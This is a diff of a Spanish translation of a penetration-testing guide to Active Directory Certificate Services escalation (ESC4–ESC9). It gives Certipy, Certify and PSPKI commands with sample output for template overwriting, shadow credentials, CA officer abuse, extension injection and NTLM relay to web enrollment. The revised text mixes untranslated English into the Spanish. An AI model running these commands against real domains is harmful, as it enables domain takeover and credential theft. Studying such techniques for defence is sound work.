-Si un **atacante** posee los **permisos** necesarios para **alterar** una **plantilla** e **instituir** cualquier **mala configuración explotable** descrita en **secciones anteriores**, se podría facilitar la escalada de privilegios.
+Si un **atacante** posee los **permisos** necesarios para **modificar** una **plantilla** e **introducir** cualquiera de las **configuraciones erróneas explotables** descritas en secciones previas, se podría facilitar la escalada de privilegios.
 
-Los permisos notables aplicables a las plantillas de certificado incluyen:
+Permisos notables aplicables a las plantillas de certificados incluyen:
 
-- **Owner:** Concede control implícito sobre el objeto, permitiendo la modificación de cualquier atributo.
-- **FullControl:** Habilita autoridad completa sobre el objeto, incluida la capacidad de alterar cualquier atributo.
-- **WriteOwner:** Permite la alteración del propietario del objeto a un principal bajo el control del atacante.
-- **WriteDacl:** Permite el ajuste de controles de acceso, potencialmente otorgando a un atacante FullControl.
+- **Owner:** Otorga control implícito sobre el objeto, permitiendo la modificación de cualquier atributo.
+- **FullControl:** Permite autoridad completa sobre el objeto, incluyendo la capacidad de modificar cualquier atributo.
+- **WriteOwner:** Permite cambiar el owner del objeto a un principal bajo el control del atacante.
+- **WriteDacl:** Permite ajustar los controles de acceso, potencialmente otorgando FullControl al atacante.
 - **WriteProperty:** Autoriza la edición de cualquier propiedad del objeto.
 
-### Abuso
+### Abuse
 
+Para identificar principales con derechos de edición sobre plantillas y otros objetos PKI, enumera con Certify:
+```bash
+Certify.exe find /showAllPermissions
+Certify.exe pkiobjects /domain:corp.local /showAdmins
+```
 Un ejemplo de un privesc como el anterior:
 
 <figure><img src="../../../images/image (814).png" alt=""><figcaption></figcaption></figure>
 
-ESC4 es cuando un usuario tiene privilegios de escritura sobre una plantilla de certificado. Esto puede, por ejemplo, ser abusado para sobrescribir la configuración de la plantilla de certificado para hacer que la plantilla sea vulnerable a ESC1.
+ESC4 es cuando un usuario tiene privilegios de escritura sobre una plantilla de certificado. Esto, por ejemplo, puede aprovecharse para sobrescribir la configuración de la plantilla de certificado y hacer que la plantilla sea vulnerable a ESC1.
 
-Como podemos ver en la ruta anterior, solo `JOHNPC` tiene estos privilegios, pero nuestro usuario `JOHN` tiene el nuevo borde `AddKeyCredentialLink` hacia `JOHNPC`. Dado que esta técnica está relacionada con certificados, he implementado este ataque también, que se conoce como [Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab). Aquí hay un pequeño adelanto del comando `shadow auto` de Certipy para recuperar el hash NT de la víctima.
+Como podemos ver en la ruta anterior, solo `JOHNPC` tiene estos privilegios, pero nuestro usuario `JOHN` tiene el nuevo `AddKeyCredentialLink` edge a `JOHNPC`. Dado que esta técnica está relacionada con certificados, también he implementado este ataque, conocido como [Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab). Aquí un pequeño adelanto del comando `shadow auto` de Certipy para recuperar el NT hash de la víctima.
 ```bash
 certipy shadow auto 'corp.local/john:Passw0rd!@dc.corp.local' -account 'johnpc'
 ```
-**Certipy** puede sobrescribir la configuración de una plantilla de certificado con un solo comando. Por **defecto**, Certipy **sobrescribirá** la configuración para hacerla **vulnerable a ESC1**. También podemos especificar el **`-save-old` parameter para guardar la configuración antigua**, lo cual será útil para **restaurar** la configuración después de nuestro ataque.
+**Certipy** puede sobrescribir la configuración de una plantilla de certificado con un solo comando. Por **default**, Certipy hará **overwrite** la configuración para hacerla **vulnerable to ESC1**. También podemos especificar el **`-save-old` parameter to save the old configuration**, lo cual será útil para **restoring** la configuración después de nuestro attack.
 ```bash
 # Make template vuln to ESC1
 certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -save-old
@@ -160,25 +177,25 @@ certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target
 # Restore config
 certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -configuration ESC4-Test.json
 ```
-## Control de Acceso a Objetos PKI Vulnerables - ESC5
+## Vulnerable PKI Object Access Control - ESC5
 
 ### Explicación
 
-La extensa red de relaciones interconectadas basadas en ACL, que incluye varios objetos más allá de las plantillas de certificados y la autoridad de certificación, puede afectar la seguridad de todo el sistema AD CS. Estos objetos, que pueden afectar significativamente la seguridad, abarcan:
+La extensa red de relaciones interconectadas basadas en ACL, que incluye varios objetos más allá de las plantillas de certificados y la autoridad certificadora, puede afectar la seguridad de todo el sistema AD CS. Estos objetos, que pueden afectar significativamente la seguridad, abarcan:
 
-- El objeto de computadora AD del servidor CA, que puede ser comprometido a través de mecanismos como S4U2Self o S4U2Proxy.
-- El servidor RPC/DCOM del servidor CA.
-- Cualquier objeto o contenedor AD descendiente dentro de la ruta de contenedor específica `CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>`. Esta ruta incluye, pero no se limita a, contenedores y objetos como el contenedor de Plantillas de Certificados, el contenedor de Autoridades de Certificación, el objeto NTAuthCertificates y el Contenedor de Servicios de Inscripción.
+- El objeto de equipo de AD del servidor CA, que puede ser comprometido mediante mecanismos como S4U2Self o S4U2Proxy.
+- El servidor RPC/DCOM de la CA.
+- Cualquier objeto o contenedor descendiente de AD dentro de la ruta de contenedor específica `CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>`. Esta ruta incluye, pero no se limita a, contenedores y objetos como el Certificate Templates container, Certification Authorities container, el objeto NTAuthCertificates y el Enrollment Services Container.
 
-La seguridad del sistema PKI puede verse comprometida si un atacante de bajo privilegio logra tomar el control de cualquiera de estos componentes críticos.
+La seguridad del sistema PKI puede verse comprometida si un atacante con pocos privilegios logra obtener control sobre cualquiera de estos componentes críticos.
 
 ## EDITF_ATTRIBUTESUBJECTALTNAME2 - ESC6
 
 ### Explicación
 
-El tema discutido en el [**post de CQure Academy**](https://cqureacademy.com/blog/enhanced-key-usage) también toca las implicaciones de la bandera **`EDITF_ATTRIBUTESUBJECTALTNAME2`**, como lo describe Microsoft. Esta configuración, cuando se activa en una Autoridad de Certificación (CA), permite la inclusión de **valores definidos por el usuario** en el **nombre alternativo del sujeto** para **cualquier solicitud**, incluidas aquellas construidas a partir de Active Directory®. En consecuencia, esta disposición permite a un **intruso** inscribirse a través de **cualquier plantilla** configurada para la **autenticación** de dominio—específicamente aquellas abiertas a la inscripción de usuarios **no privilegiados**, como la plantilla de Usuario estándar. Como resultado, se puede asegurar un certificado, permitiendo al intruso autenticarse como un administrador de dominio o **cualquier otra entidad activa** dentro del dominio.
+El tema tratado en el [**CQure Academy post**](https://cqureacademy.com/blog/enhanced-key-usage) también aborda las implicaciones del indicador **`EDITF_ATTRIBUTESUBJECTALTNAME2`**, según lo descrito por Microsoft. Esta configuración, cuando está activada en una Certification Authority (CA), permite la inclusión de **valores definidos por el usuario** en el **subject alternative name** para **cualquier request**, incluidas aquellas construidas desde Active Directory®. En consecuencia, esta disposición permite que un **intruso** se inscriba a través de **cualquier template** configurada para la **authentication** de dominio—específicamente aquellas abiertas a la inscripción de usuarios **unprivileged**, como la plantilla estándar User. Como resultado, se puede obtener un certificado que permite al intruso autenticarse como administrador de dominio o como **cualquier otra entidad activa** dentro del dominio.
 
-**Nota**: El enfoque para agregar **nombres alternativos** en una Solicitud de Firma de Certificado (CSR), a través del argumento `-attrib "SAN:"` en `certreq.exe` (denominado “Pares de Nombre y Valor”), presenta un **contraste** con la estrategia de explotación de SANs en ESC1. Aquí, la distinción radica en **cómo se encapsula la información de la cuenta**—dentro de un atributo de certificado, en lugar de una extensión.
+**Nota**: El enfoque para añadir **alternative names** en una Certificate Signing Request (CSR), a través del argumento `-attrib "SAN:"` en `certreq.exe` (denominados “pares nombre-valor”), contrasta con la estrategia de explotación de los SANs en ESC1. Aquí, la distinción radica en **cómo se encapsula la información de la cuenta**—en un atributo del certificado, en lugar de en una extensión.
 
 ### Abuso
 
@@ -186,7 +203,7 @@ Para verificar si la configuración está activada, las organizaciones pueden ut
 ```bash
 certutil -config "CA_HOST\CA_NAME" -getreg "policy\EditFlags"
 ```
-Esta operación emplea esencialmente **acceso remoto al registro**, por lo tanto, un enfoque alternativo podría ser:
+Esta operación emplea esencialmente **remote registry access**, por lo tanto, un enfoque alternativo podría ser:
 ```bash
 reg.exe query \\<CA_SERVER>\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\<CA_NAME>\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\ /v EditFlags
 ```
@@ -199,39 +216,39 @@ Certify.exe find
 Certify.exe request /ca:dc.domain.local\theshire-DC-CA /template:User /altname:localadmin
 certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template User -upn administrator@corp.local
 ```
-Para alterar estas configuraciones, asumiendo que se posee derechos **administrativos de dominio** o equivalentes, se puede ejecutar el siguiente comando desde cualquier estación de trabajo:
+Para alterar estos ajustes, siempre que se posean derechos de **administrador de dominio** o equivalentes, se puede ejecutar el siguiente comando desde cualquier estación de trabajo:
 ```bash
 certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags +EDITF_ATTRIBUTESUBJECTALTNAME2
 ```
-Para deshabilitar esta configuración en su entorno, se puede eliminar la bandera con:
+Para deshabilitar esta configuración en su entorno, la flag puede eliminarse con:
 ```bash
 certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2
 ```
 > [!WARNING]
-> Después de las actualizaciones de seguridad de mayo de 2022, los **certificados** emitidos recientemente contendrán una **extensión de seguridad** que incorpora la propiedad `objectSid` del **solicitante**. Para ESC1, este SID se deriva del SAN especificado. Sin embargo, para **ESC6**, el SID refleja el **objectSid** del **solicitante**, no el SAN.\
-> Para explotar ESC6, es esencial que el sistema sea susceptible a ESC10 (Mapeos de Certificados Débiles), que prioriza el **SAN sobre la nueva extensión de seguridad**.
+> Después de las actualizaciones de seguridad de mayo de 2022, los **certificados** recién emitidos contendrán una **extensión de seguridad** que incorpora la propiedad `objectSid` del solicitante. Para ESC1, este SID se deriva del SAN especificado. Sin embargo, para **ESC6**, el SID refleja el `objectSid` del solicitante, no el SAN.\
+> Para explotar ESC6, es esencial que el sistema sea susceptible a ESC10 (Weak Certificate Mappings), que prioriza el **SAN sobre la nueva extensión de seguridad**.
 
-## Control de Acceso de Autoridad de Certificación Vulnerable - ESC7
+## Control de acceso vulnerable de la autoridad de certificación - ESC7
 
 ### Ataque 1
 
 #### Explicación
 
-El control de acceso para una autoridad de certificación se mantiene a través de un conjunto de permisos que rigen las acciones de la CA. Estos permisos se pueden ver accediendo a `certsrv.msc`, haciendo clic derecho en una CA, seleccionando propiedades y luego navegando a la pestaña de Seguridad. Además, los permisos se pueden enumerar utilizando el módulo PSPKI con comandos como:
+El control de acceso de una autoridad de certificación se mantiene mediante un conjunto de permisos que rigen las acciones de la CA. Estos permisos se pueden ver accediendo a `certsrv.msc`, haciendo clic derecho sobre una CA, seleccionando Propiedades y luego navegando a la pestaña Seguridad. Además, los permisos pueden enumerarse utilizando el módulo PSPKI con comandos como:
 ```bash
 Get-CertificationAuthority -ComputerName dc.domain.local | Get-CertificationAuthorityAcl | select -expand Access
 ```
-Esto proporciona información sobre los derechos principales, a saber, **`ManageCA`** y **`ManageCertificates`**, que se correlacionan con los roles de “administrador de CA” y “gerente de certificados” respectivamente.
+Esto ofrece información sobre los permisos principales, a saber **`ManageCA`** y **`ManageCertificates`**, que se corresponden con los roles de “administrador de CA” y “Administrador de certificados”, respectivamente.
 
 #### Abuso
 
-Tener derechos de **`ManageCA`** en una autoridad de certificación permite al principal manipular configuraciones de forma remota utilizando PSPKI. Esto incluye activar el flag **`EDITF_ATTRIBUTESUBJECTALTNAME2`** para permitir la especificación de SAN en cualquier plantilla, un aspecto crítico de la escalación de dominio.
+Tener permisos **`ManageCA`** en una autoridad certificadora permite al principal manipular configuraciones de forma remota usando PSPKI. Esto incluye alternar la bandera **`EDITF_ATTRIBUTESUBJECTALTNAME2`** para permitir la especificación de SAN en cualquier plantilla, un aspecto crítico para la escalada de dominio.
 
-La simplificación de este proceso es alcanzable a través del uso del cmdlet **Enable-PolicyModuleFlag** de PSPKI, permitiendo modificaciones sin interacción directa con la GUI.
+La simplificación de este proceso es posible mediante el uso del cmdlet **Enable-PolicyModuleFlag** de PSPKI, que permite realizar modificaciones sin interacción directa con la GUI.
 
-La posesión de derechos de **`ManageCertificates`** facilita la aprobación de solicitudes pendientes, eludiendo efectivamente la salvaguarda de "aprobación del gerente de certificados de CA".
+La posesión de **`ManageCertificates`** facilita la aprobación de solicitudes pendientes, eludiendo efectivamente la salvaguarda de “aprobación del administrador de certificados de la CA”.
 
-Se puede utilizar una combinación de módulos **Certify** y **PSPKI** para solicitar, aprobar y descargar un certificado:
+Se puede utilizar una combinación de los módulos **Certify** y **PSPKI** para solicitar, aprobar y descargar un certificado:
 ```bash
 # Request a certificate that will require an approval
 Certify.exe request /ca:dc.domain.local\theshire-DC-CA /template:ApprovalNeeded
@@ -252,28 +269,28 @@ Certify.exe download /ca:dc.domain.local\theshire-DC-CA /id:336
 #### Explicación
 
 > [!WARNING]
-> En el **ataque anterior**, se utilizaron los permisos **`Manage CA`** para **habilitar** la bandera **EDITF_ATTRIBUTESUBJECTALTNAME2** para realizar el **ataque ESC6**, pero esto no tendrá ningún efecto hasta que se reinicie el servicio de CA (`CertSvc`). Cuando un usuario tiene el derecho de acceso **`Manage CA`**, también se le permite **reiniciar el servicio**. Sin embargo, **no significa que el usuario pueda reiniciar el servicio de forma remota**. Además, el **ESC6 podría no funcionar de inmediato** en la mayoría de los entornos parcheados debido a las actualizaciones de seguridad de mayo de 2022.
+> En el **ataque anterior** **`Manage CA`** permissions were used to **enable** the **EDITF_ATTRIBUTESUBJECTALTNAME2** flag to perform the **ESC6 attack**, but this will not have any effect until the CA service (`CertSvc`) is restarted. When a user has the `Manage CA` access right, the user is also allowed to **restart the service**. However, it **does not mean that the user can restart the service remotely**. Furthermore, E**SC6 might not work out of the box** in most patched environments due to the May 2022 security updates.
 
 Por lo tanto, aquí se presenta otro ataque.
 
 Requisitos previos:
 
-- Solo permiso **`ManageCA`**
+- Solo el permiso **`ManageCA`**
 - Permiso **`Manage Certificates`** (puede ser otorgado desde **`ManageCA`**)
-- La plantilla de certificado **`SubCA`** debe estar **habilitada** (puede ser habilitada desde **`ManageCA`**)
+- La plantilla de certificado **`SubCA`** debe estar **enabled** (puede habilitarse desde **`ManageCA`**)
 
-La técnica se basa en el hecho de que los usuarios con el derecho de acceso **`Manage CA`** _y_ **`Manage Certificates`** pueden **emitir solicitudes de certificados fallidas**. La plantilla de certificado **`SubCA`** es **vulnerable a ESC1**, pero **solo los administradores** pueden inscribirse en la plantilla. Por lo tanto, un **usuario** puede **solicitar** inscribirse en la **`SubCA`** - lo cual será **denegado** - pero **luego emitido por el gerente posteriormente**.
+La técnica se basa en el hecho de que los usuarios con los derechos de acceso `Manage CA` _and_ `Manage Certificates` pueden **issue failed certificate requests**. La plantilla de certificado **`SubCA`** es **vulnerable to ESC1**, pero **only administrators** pueden inscribirse en la plantilla. Así, un **user** puede **request** inscribirse en la **`SubCA`** — lo cual será **denied** — pero luego **issued by the manager afterwards**.
 
 #### Abuso
 
-Puedes **otorgarte a ti mismo el derecho de acceso `Manage Certificates`** agregando tu usuario como un nuevo oficial.
+Puedes **grant yourself the `Manage Certificates`** access right añadiendo tu usuario como un nuevo oficial.
 ```bash
 certipy ca -ca 'corp-DC-CA' -add-officer john -username john@corp.local -password Passw0rd
 Certipy v4.0.0 - by Oliver Lyak (ly4k)
 
 [*] Successfully added officer 'John' on 'corp-DC-CA'
 ```
-La **`SubCA`** plantilla se puede **habilitar en la CA** con el parámetro `-enable-template`. Por defecto, la plantilla `SubCA` está habilitada.
+La plantilla **`SubCA`** puede **habilitarse en la CA** con el parámetro `-enable-template`. Por defecto, la plantilla `SubCA` está habilitada.
 ```bash
 # List templates
 certipy ca -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' -enable-template 'SubCA'
@@ -285,7 +302,7 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
 
 [*] Successfully enabled 'SubCA' on 'corp-DC-CA'
 ```
-Si hemos cumplido con los requisitos previos para este ataque, podemos comenzar **solicitando un certificado basado en la plantilla `SubCA`**.
+Si hemos cumplido los requisitos previos para este ataque, podemos empezar por **solicitar un certificado basado en la plantilla `SubCA`**.
 
 **Esta solicitud será denegada**, pero guardaremos la clave privada y anotaremos el ID de la solicitud.
 ```bash
@@ -299,7 +316,7 @@ Would you like to save the private key? (y/N) y
 [*] Saved private key to 785.key
 [-] Failed to request certificate
 ```
-Con nuestro **`Manage CA` y `Manage Certificates`**, podemos **emitir la solicitud de certificado fallida** con el comando `ca` y el parámetro `-issue-request <request ID>`.
+Con nuestros **`Manage CA` and `Manage Certificates`**, podemos entonces **emitir la solicitud de certificado fallida** con el comando `ca` y el parámetro `-issue-request <request ID>`.
 ```bash
 certipy ca -ca 'corp-DC-CA' -issue-request 785 -username john@corp.local -password Passw0rd
 Certipy v4.0.0 - by Oliver Lyak (ly4k)
@@ -318,68 +335,68 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
 [*] Loaded private key from '785.key'
 [*] Saved certificate and private key to 'administrator.pfx'
 ```
-### Ataque 3 – Abuso de la Extensión de Gestión de Certificados (SetExtension)
+### Ataque 3 – Manage Certificates Extension Abuse (SetExtension)
 
 #### Explicación
 
-Además de los abusos clásicos de ESC7 (habilitar atributos EDITF o aprobar solicitudes pendientes), **Certify 2.0** reveló un nuevo primitivo que solo requiere el rol de *Manage Certificates* (también conocido como **Certificate Manager / Officer**) en la CA Empresarial.
+Además de los abusos clásicos de ESC7 (habilitar atributos EDITF o aprobar solicitudes pendientes), **Certify 2.0** reveló un primitivo completamente nuevo que solo requiere el rol *Manage Certificates* (también conocido como **Certificate Manager / Officer**) en la Enterprise CA.
 
-El método RPC `ICertAdmin::SetExtension` puede ser ejecutado por cualquier principal que tenga *Manage Certificates*. Mientras que el método se utilizaba tradicionalmente por CAs legítimas para actualizar extensiones en solicitudes **pendientes**, un atacante puede abusar de él para **agregar una *extensión de certificado no predeterminada*** (por ejemplo, un OID de *Certificate Issuance Policy* personalizado como `1.1.1.1`) a una solicitud que está esperando aprobación.
+El método RPC `ICertAdmin::SetExtension` puede ser ejecutado por cualquier principal que tenga *Manage Certificates*. Mientras que el método se usaba tradicionalmente por CAs legítimas para actualizar extensiones en solicitudes **pendientes**, un atacante puede abusar de él para **apendizar una extensión de certificado *no por defecto*** (por ejemplo un OID personalizado de *Certificate Issuance Policy* como `1.1.1.1`) a una solicitud que está esperando aprobación.
 
-Debido a que la plantilla objetivo **no define un valor predeterminado para esa extensión**, la CA NO sobrescribirá el valor controlado por el atacante cuando la solicitud sea finalmente emitida. Por lo tanto, el certificado resultante contiene una extensión elegida por el atacante que puede:
+Como la plantilla objetivo **no define un valor por defecto para esa extensión**, la CA NO sobrescribirá el valor controlado por el atacante cuando la solicitud sea finalmente emitida. El certificado resultante por lo tanto contiene una extensión elegida por el atacante que puede:
 
-* Satisfacer los requisitos de políticas de aplicación / emisión de otras plantillas vulnerables (lo que lleva a la escalada de privilegios).
-* Inyectar EKUs adicionales o políticas que otorgan al certificado una confianza inesperada en sistemas de terceros.
+* Satisfacer requisitos de Application / Issuance Policy de otras plantillas vulnerables (conduciendo a escalada de privilegios).
+* Inyectar EKUs adicionales o políticas que otorguen al certificado confianza inesperada en sistemas de terceros.
 
-En resumen, *Manage Certificates* – anteriormente considerado la mitad “menos poderosa” de ESC7 – ahora puede ser aprovechado para una escalada de privilegios completa o persistencia a largo plazo, sin tocar la configuración de la CA o requerir el derecho más restrictivo de *Manage CA*.
+En resumen, *Manage Certificates* – previamente considerado la “mitad menos poderosa” de ESC7 – ahora puede aprovecharse para la escalada de privilegios completa o persistencia a largo plazo, sin tocar la configuración de la CA ni requerir el derecho más restrictivo *Manage CA*.
 
-#### Abusando del primitivo con Certify 2.0
+#### Abusar del primitivo con Certify 2.0
 
-1. **Enviar una solicitud de certificado que permanecerá *pendiente*.** Esto se puede forzar con una plantilla que requiere aprobación de un gerente:
+1. **Enviar una solicitud de certificado que permanezca *pendiente*.** Esto puede forzarse con una plantilla que requiera aprobación de un manager:
 ```powershell
 Certify.exe request --ca SERVER\\CA-NAME --template SecureUser --subject "CN=User" --manager-approval
-# Toma nota del ID de Solicitud devuelto
+# Take note of the returned Request ID
 ```
 
-2. **Agregar una extensión personalizada a la solicitud pendiente** utilizando el nuevo comando `manage-ca`:
+2. **Apendizar una extensión personalizada a la solicitud pendiente** usando el nuevo comando `manage-ca`:
 ```powershell
 Certify.exe manage-ca --ca SERVER\\CA-NAME \
 --request-id 1337 \
---set-extension "1.1.1.1=DER,10,01 01 00 00"  # OID de política de emisión falsa
+--set-extension "1.1.1.1=DER,10,01 01 00 00"  # fake issuance-policy OID
 ```
-*Si la plantilla no define ya la extensión de *Certificate Issuance Policies*, el valor anterior se preservará después de la emisión.*
+*Si la plantilla no define ya la extensión *Certificate Issuance Policies*, el valor anterior se conservará después de la emisión.*
 
-3. **Emitir la solicitud** (si tu rol también tiene derechos de aprobación de *Manage Certificates*) o esperar a que un operador la apruebe. Una vez emitido, descarga el certificado:
+3. **Emitir la solicitud** (si tu rol también tiene derechos de aprobación *Manage Certificates*) o esperar a que un operador la apruebe. Una vez emitida, descarga el certificado:
 ```powershell
 Certify.exe request-download --ca SERVER\\CA-NAME --id 1337
 ```
 
-4. El certificado resultante ahora contiene el OID de política de emisión malicioso y puede ser utilizado en ataques posteriores (por ejemplo, ESC13, escalada de dominio, etc.).
+4. El certificado resultante ahora contiene el OID malicioso de issuance-policy y puede ser usado en ataques posteriores (p. ej. ESC13, escalada de dominio, etc.).
 
-> NOTA: El mismo ataque se puede ejecutar con Certipy ≥ 4.7 a través del comando `ca` y el parámetro `-set-extension`.
+> NOTA:  El mismo ataque puede ejecutarse con Certipy ≥ 4.7 a través del comando `ca` y el parámetro `-set-extension`.
 
-## Relevo NTLM a Puntos Finales HTTP de AD CS – ESC8
+## NTLM Relay to AD CS HTTP Endpoints – ESC8
 
 ### Explicación
 
 > [!TIP]
-> En entornos donde **AD CS está instalado**, si existe un **punto final de inscripción web vulnerable** y al menos una **plantilla de certificado está publicada** que permite **inscripción de computadoras de dominio y autenticación de clientes** (como la plantilla predeterminada **`Machine`**), se vuelve posible que **cualquier computadora con el servicio de spooler activo sea comprometida por un atacante**!
+> En entornos donde **AD CS está instalado**, si existe un **endpoint de inscripción web vulnerable** y al menos una **certificate template publicada** que permita **domain computer enrollment y client authentication** (como la plantilla por defecto **`Machine`**), ¡se vuelve posible que **cualquier equipo con el servicio spooler activo sea comprometido por un atacante**!
 
-Varios **métodos de inscripción basados en HTTP** son soportados por AD CS, disponibles a través de roles de servidor adicionales que los administradores pueden instalar. Estas interfaces para la inscripción de certificados basada en HTTP son susceptibles a **ataques de relevo NTLM**. Un atacante, desde una **máquina comprometida, puede suplantar cualquier cuenta de AD que se autentique a través de NTLM entrante**. Mientras suplantan la cuenta de la víctima, estas interfaces web pueden ser accedidas por un atacante para **solicitar un certificado de autenticación de cliente utilizando las plantillas de certificado `User` o `Machine`**.
+AD CS soporta varios **métodos de inscripción basados en HTTP**, disponibles mediante roles adicionales del servidor que los administradores pueden instalar. Estas interfaces para inscripción basada en HTTP son susceptibles a **NTLM relay attacks**. Un atacante, desde una **máquina comprometida**, puede suplantar cualquier cuenta AD que autentique vía NTLM entrante. Mientras suplantan la cuenta víctima, estas interfaces web pueden ser accedidas por un atacante para **solicitar un certificado de client authentication usando las plantillas `User` o `Machine`**.
 
-- La **interfaz de inscripción web** (una aplicación ASP más antigua disponible en `http://<caserver>/certsrv/`), por defecto solo admite HTTP, lo que no ofrece protección contra ataques de relevo NTLM. Además, permite explícitamente solo la autenticación NTLM a través de su encabezado HTTP de Autorización, lo que hace que métodos de autenticación más seguros como Kerberos sean inaplicables.
-- El **Servicio de Inscripción de Certificados** (CES), el **Servicio Web de Políticas de Inscripción de Certificados** (CEP) y el **Servicio de Inscripción de Dispositivos de Red** (NDES) por defecto soportan autenticación negociada a través de su encabezado HTTP de Autorización. La autenticación negociada **soporta tanto** Kerberos como **NTLM**, permitiendo a un atacante **reducir a NTLM** la autenticación durante ataques de relevo. Aunque estos servicios web habilitan HTTPS por defecto, HTTPS solo **no protege contra ataques de relevo NTLM**. La protección contra ataques de relevo NTLM para servicios HTTPS solo es posible cuando HTTPS se combina con enlace de canal. Lamentablemente, AD CS no activa la Protección Extendida para la Autenticación en IIS, que es necesaria para el enlace de canal.
+- La **web enrollment interface** (una aplicación ASP más antigua disponible en `http://<caserver>/certsrv/`), por defecto usa solo HTTP, lo que no ofrece protección contra NTLM relay attacks. Además, explícitamente permite solo autenticación NTLM a través de su encabezado Authorization HTTP, haciendo inaplicables métodos de autenticación más seguros como Kerberos.
+- El **Certificate Enrollment Service** (CES), **Certificate Enrollment Policy** (CEP) Web Service, y **Network Device Enrollment Service** (NDES) por defecto soportan negotiate authentication vía su encabezado Authorization HTTP. Negotiate authentication **soporta tanto** Kerberos como **NTLM**, permitiendo a un atacante **degradar a NTLM** la autenticación durante ataques de relay. Aunque estos servicios web habilitan HTTPS por defecto, HTTPS por sí sola **no protege contra NTLM relay attacks**. La protección contra NTLM relay para servicios HTTPS solo es posible cuando HTTPS se combina con channel binding. Lamentablemente, AD CS no activa Extended Protection for Authentication en IIS, que es lo requerido para channel binding.
 
-Un problema común con los ataques de relevo NTLM es la **corta duración de las sesiones NTLM** y la incapacidad del atacante para interactuar con servicios que **requieren firma NTLM**.
+Un problema común con los NTLM relay attacks es la **breve duración de las sesiones NTLM** y la incapacidad del atacante para interactuar con servicios que **requieren NTLM signing**.
 
-Sin embargo, esta limitación se supera al explotar un ataque de relevo NTLM para adquirir un certificado para el usuario, ya que el período de validez del certificado dicta la duración de la sesión, y el certificado puede ser empleado con servicios que **exigen firma NTLM**. Para instrucciones sobre cómo utilizar un certificado robado, consulta:
+Sin embargo, esta limitación se supera explotando un NTLM relay attack para adquirir un certificado para el usuario, ya que el periodo de validez del certificado dicta la duración de la sesión, y el certificado puede ser empleado con servicios que **exigen NTLM signing**. Para instrucciones sobre cómo utilizar un certificado robado, consulte:
 
 
 {{#ref}}
 account-persistence.md
 {{#endref}}
 
-Otra limitación de los ataques de relevo NTLM es que **una máquina controlada por el atacante debe ser autenticada por una cuenta víctima**. El atacante podría esperar o intentar **forzar** esta autenticación:
+Otra limitación de los NTLM relay attacks es que **una máquina controlada por el atacante debe ser autenticada por una cuenta víctima**. El atacante puede esperar o intentar **forzar** esta autenticación:
 
 
 {{#ref}}
@@ -388,13 +405,13 @@ Otra limitación de los ataques de relevo NTLM es que **una máquina controlada
 
 ### **Abuso**
 
-[**Certify**](https://github.com/GhostPack/Certify)’s `cas` enumera **puntos finales HTTP AD CS habilitados**:
+El comando `cas` de [**Certify**](https://github.com/GhostPack/Certify) enumera los endpoints HTTP de AD CS habilitados:
 ```
 Certify.exe cas
 ```
 <figure><img src="../../../images/image (72).png" alt=""><figcaption></figcaption></figure>
 
-La propiedad `msPKI-Enrollment-Servers` es utilizada por las Autoridades de Certificación (CAs) empresariales para almacenar los puntos finales del Servicio de Inscripción de Certificados (CES). Estos puntos finales pueden ser analizados y listados utilizando la herramienta **Certutil.exe**:
+La propiedad `msPKI-Enrollment-Servers` es utilizada por las Autoridades de Certificación (CAs) empresariales para almacenar los endpoints del Certificate Enrollment Service (CES). Estos endpoints se pueden analizar y listar utilizando la herramienta **Certutil.exe**:
 ```
 certutil.exe -enrollmentServerURL -config DC01.DOMAIN.LOCAL\DOMAIN-CA
 ```
@@ -422,9 +439,9 @@ execute-assembly C:\SpoolSample\SpoolSample\bin\Debug\SpoolSample.exe <victim> <
 ```
 #### Abuso con [Certipy](https://github.com/ly4k/Certipy)
 
-La solicitud de un certificado es realizada por Certipy por defecto basada en la plantilla `Machine` o `User`, determinada por si el nombre de la cuenta que se está retransmitiendo termina en `$`. La especificación de una plantilla alternativa se puede lograr mediante el uso del parámetro `-template`.
+La solicitud de un certificado la realiza Certipy por defecto basándose en la plantilla `Machine` o `User`, determinada por si el nombre de la cuenta que se está reenviando termina en `$`. La especificación de una plantilla alternativa puede lograrse mediante el uso del parámetro `-template`.
 
-Una técnica como [PetitPotam](https://github.com/ly4k/PetitPotam) puede ser empleada para forzar la autenticación. Al tratar con controladores de dominio, se requiere la especificación de `-template DomainController`.
+Se puede entonces emplear una técnica como [PetitPotam](https://github.com/ly4k/PetitPotam) para forzar la autenticación. Cuando se trabaja con controladores de dominio, es necesario especificar `-template DomainController`.
 ```bash
 certipy relay -ca ca.corp.local
 Certipy v4.0.0 - by Oliver Lyak (ly4k)
@@ -437,44 +454,44 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
 [*] Saved certificate and private key to 'administrator.pfx'
 [*] Exiting...
 ```
-## No Security Extension - ESC9 <a href="#id-5485" id="id-5485"></a>
+## Sin extensión de seguridad - ESC9 <a href="#id-5485" id="id-5485"></a>
 
 ### Explicación
 
-El nuevo valor **`CT_FLAG_NO_SECURITY_EXTENSION`** (`0x80000`) para **`msPKI-Enrollment-Flag`**, conocido como ESC9, impide la inclusión de la **nueva extensión de seguridad `szOID_NTDS_CA_SECURITY_EXT`** en un certificado. Esta bandera se vuelve relevante cuando `StrongCertificateBindingEnforcement` está configurado en `1` (la configuración predeterminada), lo que contrasta con una configuración de `2`. Su relevancia aumenta en escenarios donde un mapeo de certificado más débil para Kerberos o Schannel podría ser explotado (como en ESC10), dado que la ausencia de ESC9 no alteraría los requisitos.
